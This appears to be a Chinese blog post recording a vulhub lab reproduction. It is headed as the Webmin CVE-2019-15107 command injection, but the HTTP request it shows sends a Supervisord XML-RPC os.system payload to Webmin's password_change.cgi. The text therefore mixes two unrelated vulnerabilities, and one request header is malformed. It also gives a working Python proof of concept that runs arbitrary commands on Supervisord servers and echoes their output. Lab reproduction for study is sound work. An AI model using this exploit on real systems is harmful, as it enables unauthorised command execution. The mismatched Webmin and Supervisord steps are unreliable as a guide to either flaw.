vulhub漏洞复现记录

0x01 Webmin (1.9.10) Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。 CVE...

0x01 Webmin (1.9.10)

Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。

CVE-2019-15107(远程命令执行漏洞)

启动环境后访问,忽略证书后即可看到登录页面。



需要注意,必须开启“用户更改密码”,这里环境已经开启了,如果没有开启需要手动开启:

首先进入容器,修改root密码:


修改后登录webmin后修改配置:



中查看则说明修改成功。


开始复现

接下来开始复现,发送如下数据包,即可执行id命令:

POST /password_change.cgi HTTP/1.1
Host: [ip]:10000
Accept-Encoding: gzip, deflate
Accept: **
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>


查看命令执行情况:


可以看到命令成功执行。

直接回显的poc

这里还有大佬的另一个思路,将执行的结果写入log文件,然后调用Supervisord自带的readLog方法读取log文件,将结果读出来。

poc脚本:

#!/usr/bin/env python3
import xmlrpc.client
import sys


target=sys.argv[1]
command=sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old=getattr(proxy, 'supervisor.readLog')(0,0)

    logfile=getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result=getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

执行poc脚本,输入命令:


可以看到成功执行命令,并且看到了回显。



  • 发表于 2021-04-17 21:56
  • 阅读 ( 254 )
  • 分类:互联网

0 条评论

请先 登录 后评论
甘旭红
甘旭红

698 篇文章

你可能感兴趣的文章

相关问题